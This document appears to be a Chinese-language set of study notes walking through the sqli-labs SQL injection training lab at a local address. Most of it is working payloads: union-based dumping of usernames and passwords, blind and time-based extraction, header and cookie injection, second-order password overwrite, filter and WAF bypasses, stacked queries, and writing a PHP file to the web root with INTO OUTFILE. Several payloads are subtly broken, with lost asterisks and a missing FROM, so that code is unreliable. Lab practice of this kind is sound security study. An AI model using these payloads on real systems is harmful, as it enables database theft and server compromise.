Sql 语句为 $sql="SELECT*FROM users WHERE id= '$id' LIMIT0,1";
Less1
注入语句 | 数据库语句 |
---|---|
http://127.0.0.1/Range/sqli-labs-master/Less-1/?id=-1' or 1=2 --+ | Select * from where id='-1'or1=1--+'LIMIT0,1 |
http://127.0.0.1/Range/sqli-labs-master/Less-1/?id=-1' union select 1,2--+ | Select * from where id='-1'union select 1,2 --+ |
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.SCHEMATA --+ | SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema _name),3 --from information_schema.schemata--+ LIMIT 0,1 |
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ | SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_n ame),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1 |
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ | SELECT * FROM users WHERE id='-1'union select 1,group_concat(column _name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1 |
?id=-1' union select 1,username,password from users where id=2 --+ | SELECT * FROM users WHERE id='-1'union select 1,username,password f rom users where id=2--+ LIMIT 0,1 |
Less2
报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
Sql 语句为 Select * from TABLE where id = (some integer value); LIMIT0,1";
第一关是 '$id'
第二关是 $id
注入语句: | 数据库语句 |
---|---|
?id=1 or 1=1 --+ | $sql="SELECT * FROM users WHERE id= $id LIMIT0,1"; |
Less3
推测sql语句为:select login_name,select password from table where id = ('our input here')
注入语句 | 数据库语句 |
---|---|
?id=1') or '1'='1' --+ | $sql="SELECT * FROM users WHERE id = ('$id') LIMIT0,1"; |
?id=1') or '1'=('1 | $sql="SELECT * FROM users WHERE id = ('$id') LIMIT0,1"; |
Less4
注入语句 | 数据库语句 |
---|---|
?id=1") or 1=1 --+ | $sql="SELECT * FROM users WHERE id = ("$id") LIMIT0,1"; |
盲注
基于布尔 SQL 盲注----------构造逻辑判断
left(database(),1)>'s' | left()函数 |
---|---|
ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+ | substr()函数,ascii()函数 |
ascii(substr((select database()),1,1))=98 | substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值 |
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 | mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),将字符转为 ascii 值 |
select user() regexp '^[a-z]'; | user()结果为 root,regexp 为匹配 root 的正则表达式。 |
select user() like 'ro% | like 匹配注入 |
基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来
Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2)) a from information_schema.columns group by a; | explain:此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的 重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时 重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需 要多试几次才行 |
---|---|
select count() from information_schema.tables group by concat(version(), floor(rand(0)2)) | 以上语句可以简化成如下的形式 |
select count() from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)2)) | 如果关键的表被禁用了,可以使用这种形式 |
select min(@a:=1) from information_schema.tables group by concat(passwo rd,@a:=(@a+1)%2) | 如果 rand 被禁用了可以使用用户变量来报错 |
select exp(~(select * FROM(SELECT USER())a)) | double 数值类 型超出范围 |
extractvalue(1,concat(0x7e,(select @@version),0x7e)) se | mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误 |
updatexml(1,concat(0x7e,(select @@version),0x7e),1) | mysql对xml数据进行 查询和修改的 xpath 函数,xpath 语法错误 |
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; | mysql 重复特性,此处重复了 version,所以报错。 |
基于时间的 SQL 盲注----------延时注入
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 | if 判断语句,条件为假, 执行 sleep |
---|---|
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8, 9,.')); | 该语句意思是在 0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可 取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。 |
Less5
回显错误信息,但是不回显数据库中的数据
布尔盲注
注入语句 | 数据库语句 |
---|---|
?id=1'and left(version(),1)=5 --+ | 返回php版本号5.6.17 |
?id=1'and length(database())=8 --+ | 返回数据库语句 |
?id=1'and left(database(),1)>'a' --+ | 查看数据库第一位是否大于a |
?id=1'and left(database(),1)>'sa' --+ | 查看数据库前两位是否大于 sa |
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+ 此处同样的使用二分法进行测试,直到测试正确为止。 此处应该是 101,因为第一个表示 email。 | limit取第一行 substr取数据库第一位的长度 |
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+ | limit取第一行 substr取数据库第一位的长度 |
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+ | imit0,1. 意思就是从第 0 个开始,获取第一个。那 要获取第二个是不是就是 limit1,1 |
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+ 利用 regexp 获取中 users 表中的列 | 选择 users表中的列名是否有 us**的列 select 1 from 这个是什么意思 |
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68--+ ord()和 mid()函数获取 users 表的内容 | mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),将字符转为 ascii 值 |
报错注入
注入语句 | 数据库语句 |
---|---|
?id=1' union Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a --+ | explain:此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的 重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时 重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需 要多试几次才行 |
?id=1' union select (exp( |
double 数值类 型超出范围 Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上 exp 报错文章: http://www.cnblogs.com/lcamry/articles/5509124.html |
?id=1' union select (!(select * from (select user())x) - ~0),2,3 --+ select !(select * from (select user())x) -(ps:这是减号) ~0 | bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上 bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html |
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ | xpath 函数报错注入 mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误 |
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+ | mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误 |
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+ | 利用数据的重复性 |
延时注入
注入语句 | 数据库语句 |
---|---|
?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5)) --+ | 利用 sleep()函数进行注入 |
?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达 式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep() | 利用 BENCHMARK()进行延时注入 当结果正确的时候,运行 ENCODE('MSG','by 5 seconds')操作 50000000 次,会占用一段时间 |
Less10 post注入
注入语句 | 数据库语句 |
---|---|
admin'or'1'='1 密码随意 | @$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1# and password='$passwd'LIMIT0,1"; |
admin' union select 1,database()# | 爆出账号密码 |
Admin") or 1=1# | near 'admin") |
admin') and left(database(),1)> 'a'# | near 'admin') |
增删改函数介绍
增
insert into users values('16','lcamry','lcamry');
删
Delete from users where id=16
Delete from 表名;
Delete from 表名 where id=1;
删除结构:
删数据库:drop database 数据库名;
删除表:drop table 表名;
删除表中的列:
Alter table 表名 drop column 列名;
改
Update users set username='tt' where id=15
修改所有:updata 表名 set列名='新的值,非数字加单引号';
带条件的修改:updata 表名 set 列名='新的值,非数字加单引号' where id=6;
Less17 密码注入
注入语 | 数据库语句 |
---|---|
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit | 爆出版本 |
uname=admin&passwd=11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&submit=Submit | 延时注入 |
那为什么我们不从 username 处进行构 造呢?
防注入函数介绍
addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),
因为这样会导致双层转义。遇到这种情况时可 以使用函数 get_magic_quotes_gpc()
进行检测。
stripslashes()
函数删除由 addslashes() 函数添加的反斜杠
mysql_real_escape_string()
mysql_real_escape_string(string,connection)
函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
参数 | 描述 |
---|---|
string | 必需。规定要转义的字符串。 |
connection | 可选。规定 MySQL 连接。如果未规定,则使用上一个连接. |
本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用 于 mysql_query()。
在我们 less17 的 check_input()中,对 username 进行各种转义的处理,所以此处不能使用 username 进行注入。
HTTP 头部介绍
Accept | 告诉 WEB 服务器自己接受什么介质类型,* / * 表示任何类型,type/* 表示该 类型下的所有子类型,type/sub-type。 |
---|---|
Accept- Charset | 浏览器申明自己接收的字符集 |
Accecpt-Encode ccccccccccccccccc | 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩, 支持什么压缩方法(gzip,deflate) |
Accept-Language | 浏览器申明自己接收的语言 比如 big5,gb2312,gbk 等等 |
Accept-Ranges | WEB 服务器表明自己是否接受获取其某个实体的一部分 |
Age | 当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现 在经过多长时间了。 |
Authorization | 当客户端接收到来自 WEB 服务器的 WWW-Authenticate 响应时,用该 头部来回应自己的身份验证信息给 WEB 服务器。 |
Cache-Control | 请求:no-cache(不要缓存的实体,要求现在从 WEB 服务器去取) |
max-age | (只接受 Age 值小于 max-age 值,并且没有过期的对象 |
max-stale | 可以接受过去的对象,但是过期时间必须小于 max-stale 值 |
Connection | 请求:close(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应 后,断开连接,不要等待本次连接的后续请求了)。 |
keepalive | 告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待 本次连接的后续请求。 |
Keep-Alive | 如果浏览器请求保持连接,则该头部表明希望 WEB 服务器保持连接多长时间 :Keep-Alive:300 |
Content-Encoding | WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应 中的对象。例如:Content-Encoding:gzip |
Content-Language | WEB 服务器告诉浏览器自己响应的对象的语言 |
Content-Length | WEB 服务器告诉浏览器自己响应的对象的长度。例如: Content-Length: 26012 |
Content-Range | WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。例如: Content-Range:bytes21010-47021/47022 |
Content-Type | WEB 服务器告诉浏览器自己响应的对象的类型。例如:Content-Type: application/xml |
Expired | WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟 WEB 服务器验证了其有效性后,才能用来响应客户请求 |
Host | 客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号 |
If-Match | 如果对象的 ETag 没有改变,其实也就意味著对象没有改变,才执行请求的 动作。 |
If-None-Match | 如果对象的 ETag 改变了,其实也就意味著对象也改变了,才执行请求 的动作。 |
If-Modified-Since | 如果请求的对象在该头部指定的时间之后修改了,才执行请求的动 作(比如返回对象),否则返回代码 304,告诉浏览器 该对象没有修改。例如: If-Modified-Since:Thu,10Apr200809:14:42GMT |
If-Unmodified-Since | 如果请求的对象在该头部指定的时间之后没修改过,才执行请求 的动作(比如返回对象) |
If-Range | 浏览器告诉 WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分 给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的 ETag 或者 自己 所知道的最后修改时间给 WEB 服务器,让其判断对象是否改变了。总是跟 Range 头部一 起使用。 |
Last-Modified | WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动 态页面的最后产生时间等等。 例如:Last-Modified:Tue,06May200802:42:43GMT |
Location | WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头 部 指 定 的 位 置 去 取 。 例 如 : Location : http://i0.sinaimg.cn /dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif |
Pramga | 主要使用 Pramga:no-cache,相当于 Cache-Control:no-cache。例如: Pragma: no-cache |
Proxy-Authenticate | 代理服务器响应浏览器,要求其提供代理身份验证信息。 Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。 |
Range | 浏览器(比如 Flashget 多线程下载时)告诉 WEB 服务器自己想取对象的哪 部分。例如:Range:bytes=1173546 |
Referer | 浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中 的网址/URL。例如:Referer:http://www.sina.com/ |
Server | WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61 (Unix) |
User-Agent | 浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent:Mozilla/5.0 (Windows;U;WindowsNT5.1;zh-CN;rv:1.8.1.14)Gecko/20080404Firefox/2、0、0、14 |
Transfer-Encoding | WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码, 比如是否分块(chunked)。例如:Transfer-Encoding:chunked |
Vary | WEB 服务器用该头部的内容告诉 Cache 服务器,在什么条件下才能用本响应所 返回的对象响应后续的请求。 假如源 WEB 服务器在接到第一个请求消息时,其响应消息的 头部为:Content-Encoding:gzip;Vary:Content-Encoding 那么 Cache 服务器会分析后续请求 消息的头部,检查其 Accept-Encoding,是否跟先前响应的 Vary 头部值一致,即是否使用 相同的内容编码方法,这样就可以防止 Cache 服务器用自己 Cache 里面压缩后的实体响应 给不具备解压能力的浏览器。例如:Vary:Accept-Encoding |
Via | 列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么 协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发 出的请求里面添 加 Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的 Via 头部,并 把自己的相关信息加到后面,以此类推,当 OCS 收到最后一个代理服务器的请求时,检查 Via 头部,就知道该请求所经过的路由。例如:Via:1.0 236.D0707195.sina.com.cn:80 (squid/2.6.STABLE13) |
Less18 http头注入
user-agent | 'and extractvalue(1,concat(0x7e,(select@@version),0x7e))and'1'='1 |
---|---|
Referer | 'and extractvalue(1,concat(0x7e,(select@@basedir),0x7e))and'1'='1 |
Cookie | uname=admin1' and extractvalue(1,concat(0x7e,(select@@basedir),0x7e))# |
Base64处理cookie | uname=base64(admin1' and extractvalue(1,concat(0x7e,(select@@basedir),0x7e))#) |
Less23 过滤注释符
Sql 语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT0,1";
此处主要是在获取 id 参数时 进行了#
,--
注释符号的过滤
1、id=-1,为什么要用-1,因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语 句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据 可以正常输出,第一个 select 要没有结果,所以-1 或者超过数据库所有数据都可以。
2、-1'union select1,@@datadir,'3
,第一个'(单引号)闭合-1,第二个'(单引号)闭合后面 的。这样将查询内容显示在 username 处
3、此 处 可 以 报 错 注 入 , 延 时 注 入 , 可 以 利 用 or '1'='1 进 行 闭 合 。
http://127.0.0.1/sqllib/Less-23/index.php?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1
注入语句 | 数据库语句 |
---|---|
?id=-1' union select 1,@@datadir,'3 | SELECT * FROM users WHERE id='-1'unionselect1,@@datadir,'3'limit0,1 |
?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1 | extractvalue()进行报错注入。 |
?id=-1'union select 1,(select group_concat(schema_name)from information_schema.schemata),'3 | 获取数据库 |
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3 | 查看 security 库数据表 |
?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3 | 查看 users 表的所有列 |
?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3 | 获取内容 |
Less24 二次排序注入
黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务 端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。
服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的 数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响 应。
黑客向服务端发送第二个与第一次不相同的请求数据信息。
服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库 中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服 务端环境中执行。
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注 入漏洞利用是否成功
此例子中我们的步骤是注册一个 admin'#
的账号,接下来登录该帐号后进行修改密码。
此时 修改的就是 admin的密码。 Sql 语句变为 UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=' ,
也 就 是 执 行了 UPDATE users SET passwd="New_Pass" WHERE username =' admin'
①初始数据库为
②注册admin'#账号,此时admin的密码为111
③登陆admin'# 的账号并且修改密码
④可以看到admin的密码已经被修改
Less25 过滤or and
?id=1&&1=1--+ | 过滤and |
---|---|
?id=1'||extractvalue(1,concat(0x7e,database()))--+ | 过滤or |
?id=-1 union select 1,@@basedir,3 --+ | 联合注入 |
Less26 过滤空格
本关可能有的朋友在 windows 下无法使用一些特殊的字符代替空格,此处是因为 apache 的解析的问题,这里请更换到 linux 平台下。
本关结合 25 关,将空格,or,and,/*,#,--,/等各种符号过滤,此处对于 and,or 的处理方 法不再赘述,参考 25.此处我们需要说明两方面:
对于注释和结尾字符的我们此处只能利用 构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法
SELECT * FROM users WHERE id='$id' LIMIT 0,1
有些环境可能不解析
注入语句 | 数据库语句 |
---|---|
?id=1'%a0||'1 | SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1 |
?id=100%27union%0bselect%a01,2,3||%271 | SELECT * FROM users WHERE id='100' union select 1,2,3||'1 |
?id=1') union%a0select%a01,2,3||('1 | SELECT * FROM users WHERE id=('$id') LIMIT 0,1 |
?id=100')union%a0select%a01,user(),('3 | 基础与 26 一致,我们直接用 ') 闭合前面的,然后跟上自己构造的注入语句即 可。最后利用('1 进行闭合即可。 |
以前的方法 1,user(),3|| "1
Less27 大小写绕过
注入语句 | 数据库语句 |
---|---|
?id=100'unIon%a0SelEcT%a01,database(),3||'1 | 大小写绕过 |
?id=100'uniunionon%a0SelEcT%a01,database(),3||'1 | 双写绕过 |
?id=100“%a0UnIon%a0SElecT%a01,user(),"3 | Union select 1,user(),"3 |
?id=100')union%a0select(1),(user()),(3)||('1 | Union select(1),(user()),(3)||(1' payload |
?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271 | Payload |
服务器(两层)架构 http 参数污染
此处我们想一个问题:index.jsp?id=1&id=2 请求,针对第一张图中的服务器配置情况, 客户端请求首先过 tomcat,tomcat 解析第一个参数,
接下来 tomcat 去请求 apache(php) 服务器,apache 解析最后一个参数。那最终返回客户端的应该是哪个参数?
Answer:此处应该是 id=2 的内容,应为时间上提供服务的是 apache(php)服务器, 返回的数据也应该是 apache 处理的数据。
而在我们实际应用中,也是有两层服务器的情况, 那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一 个 WAF。
而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。该用法就 是 HPP(HTTPParameterPollution),http 参数污染攻击的一个应用。HPP
可对服务器和客 户端都能够造成一定的威胁。
注入语句 | 数据库语句 |
---|---|
?id=1&id=-2'union select 1,user(),3--+ | 对第二个参数进行注入 |
?id=1&id=-2" union select 1,user(),3--+ | 之前是'现在是" |
?id=1&id=-2") union select 1,user(),3--+ | 之前是"现在是“) |
从以上三关中,我们主要学习到的是不同服务器对于参数的不同处理,HPP 的应用有 很多,不仅仅是我们上述列出过 WAF 一个方面,还有可以执行重复操作,可以执行非法操 作等。同时针对 WAF 的绕过,我们这里也仅仅是抛砖引玉,后续的很多的有关 HPP 的方法 需要共同去研究。这也是一个新的方向
宽字节注入
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个 汉字(前一个 ascii码大于 128 才能到汉字的范围)。
我们在过滤 ' 的时候,往往利用的思 路是将 ' 转换为 ' (转换的函数或者思路会在每一关遇到的时候介绍)。
因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:
1、%df 吃掉 \ 具体的原因是 urlencode(') =%5c%27
,我们在%5c%27 前面添加%df,形 成%df%5c
%27(運'),而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此 事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27
的情况,后面的%5c 会被前面的%5c 给注释掉。这也是 bypass的一种方法。
Less32 宽字节绕过(GET POST)
1 | ?id=-1%df%27union select 1,user(),3--+ |
Addslashes()
Notice:使用 addslashes(),我们需要将 mysql_query
设置为 binary
的方式,才能防御此漏洞。
1 | Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn); |
post:
原始的 sql 语句为
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; |
注入语句 | 数据库语句 |
---|---|
' ' or 1=1# | SELECT username, password FROM users WHERE username=' ' or 1=1#' and password='$passwd' LIMIT 0,1 |
mysql_real_escape_string()
mysql_real_escape_string()转义sql语句使用的字符串的特殊字符
- \x00
- \n
- \r
- \
- '
- "
- \x1a
但是因 mysql 我们并没有设置成gbk
,所以 mysql_real_escape_string()依旧能够被突破。方法 和上述是一样的。
这个我们利用的 ' 的 utf-16
进行突破的,我们也可以利用%df 进行。
注入语句 | 数据库语句 |
---|---|
id=-1%df%27union%20select%201,user(),3--+ | SELECT username, password FROM users WHERE username=' ' or 1=1#' and password='$passwd' LIMIT 0,1 |
防御:在使用 mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将 mysql 设置为 gbk 即可。
设置代码: Mysql_set_charset('gbk','$conn')
Summary: 从上面的几关当中,可以总结一下过滤 '
,\
常用的三种方式是直接 replace, addslashes(),mysql_real_escape_string()。
三种方式仅仅依靠一个函数是不能完全防御的,所 以我们在编写代码的时候需要考虑的更加仔细。同时在上述过程中,我们也给出三种防御的 方式,相信仔细看完已经明白了,这里就不赘述了。
stacked injection堆叠注入
Stackedinjections:堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql 中,主要是命令行中,每一条语句结 尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection
在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection (联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者 unionall 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API或者数据库引擎 不支持的限制,
当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
各个数据库实例介绍
Mysql 数据库
1 | Mysql.exe -h127.0.0.1 -uroot -proot |
(1)新建一个表
1 | select * from users where id=1;create table test like users; |
(2)删除上面新建的 test 表
1 | Select * from users where id=1;drop table test; |
(3)查询数据
1 | Select * from users where id=1;select1,2,3; |
(4)加载文件
1 | select * from users whereid=1;select load_file('F:\1.txt'); |
(5)修改数据
1 | Select * from users where id=1;insert into users(id,username,password) values('100','new','new'); |
Sql server 数据库
1 | (1)增加数据表 select * from test;create table sc3(ssCHAR(8)); |
Oracle 数据库
Postgresql 数据库
1 | (1)新建一个表 select * from user_test;create table user_data(id DATE); |
Less38堆叠注入(GET POST)
GET
在执行 select 时的 sql 语句为:SELECT * FROM users WHERE id='$id'LIMIT0,1
再看数据表中的内容:可以看到 less38 已经添加
注入语句 | 数据库语句 |
---|---|
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+ | Insert into user(id,username,password) values(,,*) |
?id=1;insert into users(id,username,password) values ('38','less38','hello')--+ | 没有单引号 |
?id=1');insert into users(id,username,password) values ('38','less38','hello')--+ | 有单引号和括号 |
?id=1;insert into users(id,username,password) values ('110','less41','hello');# | 盲注 不回显 (第41关),注意分号和注释符号 |
POST
Update 更新数据后,经过 mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在 select 调用的时候才能发挥作用。
所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。 本关从 login.php 源代码中分析可知:
原 sql 语句为
1 | $sql="SELECT * FROM users WHERE username='$username' and password='$password'"; |
此处登录
1 | username:admin |
登录时构造的 sql 语句为
1 | SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users# |
less43
1 | username:admin |
Less-46 order by后的 injection
本关的 sql 语句为
1 | $sql = "SELECT * FROM users ORDER BY $id"; |
之前的sql语句
1 | $sql =SELECT * FROM users WHERE id='$id'LIMIT0,1 |
(1)order by 后的数字可以作为一个注入点
。也就是构造 order by 后的一个语句,让 该语句执行结果为一个数,
我们尝试 http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1) 没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我 们可以用报错注入和延时注入。 此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select **)
②利用一些函数。例如 rand()函数等。?sort=rand(sql 语句) Ps:此处我们可以展示一下 rand(ture)和 rand(false)的结果是不一样的。
③利用 and,例如?sort=1 and (加 sql 语句)。 同时,sql 语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。 报错注入例子
注入语句 | 数据库语句 |
---|---|
?sort=right(version(),1) | SELECT * FROM users ORDER BY right(version(),1) |
?sort=rand(ture) | 这里我的显示报错 |
rand(false) | 正常显示 |
?sort=(select count() from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()2))) | 报错注入例子 |
?sort=rand(ascii(left(database(),1))=115) | rand注入 116或者其他数字会显示不变 |
?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115), BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1) | 延时注入 |
?id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) | BENCHMARK注入 |
?sort=1 and If(ascii(substr(database(),1,1))=115,0,sleep(5)) | 延时注入 |
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1) | procedure analyse 参数后注入 |
?sort=1 into outfile "f:\2.txt" | 将查询结果导入到文件当中 |
?sort=1' into outfile "E:\Website\phpStudy\PHPTutorial\WWW\1.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020 --+ 要求两个\ | 写文件 |
Less-50 order by stackedinjection
执行 sql 语句我们这里使用的是 mysqli_multi_query()
函数,而之前我们使用的是 mysqli_query()
,区别在于 mysqli_multi_query()可以执行多个 sql 语句,而 mysqli_query()只能执行 一个 sql 语句,那么我们此处就可以执行多个 sql 语句进行注入,也就是我们之前提到的 statcked injection。
注入语句 | 数据库语句 |
---|---|
?sort=1';create table less51 like users;--+ |
Less54 challenges
获取数据库中的表
http://127.0.0.1/Range/sqli-labs-master/Less-54/index.php?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+`
获取数据库中的列
http://127.0.0.1/Range/sqli-labs-master/Less-54/index.php?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='r72tr45smo' --+
获取数据库列的数据
http://127.0.0.1/Range/sqli-labs-master/Less-54/index.php?id=-1'union select 1,2,group_concat(secret_FKE1) from challenges.r72tr45smo --+
Less58
http://127.0.0.1/Range/sqli-labs-master/Less-58/?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
http://127.0.0.1/Range/sqli-labs-master/Less-58/?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(secret_N3FR) from challenges.hnzvklti02),0x7e))--+
http://127.0.0.1/Range/sqli-labs-master/Less-58/?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(secret_N3FR) from challenges.hnzvklti02),0x7e))--+
Less62
http://127.0.0.1/Range/sqli-labs-master/Less-62/?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
